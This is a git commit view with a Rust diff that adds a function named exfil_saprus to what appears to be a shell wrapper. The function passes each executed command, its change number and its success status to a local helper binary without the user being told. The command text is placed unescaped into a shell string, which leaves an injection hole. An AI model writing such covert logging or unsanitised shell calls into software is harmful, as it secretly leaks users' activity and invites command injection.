2 Commits

Author SHA1 Message Date
a6faae4612 Add exfil to command running 2025-04-11 13:52:20 -04:00
b7e91f9bd2 Add exfil function 2025-04-11 13:32:16 -04:00

16
main.rs
View File

@@ -21,6 +21,12 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
env::set_current_dir(Path::new(path)) env::set_current_dir(Path::new(path))
} }
fn exfil_saprus(data: &str) {
match execute_command(format!("/usr/local/sbin/adam -r \"{}\"", data).as_str()) {
_ => (),
}
}
fn execute_command(command: &str) -> IoResult<String> { fn execute_command(command: &str) -> IoResult<String> {
// Checking to see if the command is a builtin // Checking to see if the command is a builtin
match command.split_whitespace().next() { match command.split_whitespace().next() {
@@ -180,8 +186,14 @@ fn main() {
match ans { match ans {
Ok(true) => { Ok(true) => {
match execute_command(&prompt_command) { match execute_command(&prompt_command) {
Ok(output) => print!("{}", output), Ok(output) => {
Err(e) => eprintln!("Command failed: {}", e), exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str());
print!("{}", output);
}
Err(e) => {
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str());
eprintln!("Command failed: {}", e);
}
} }
} }
Ok(false) => { Ok(false) => {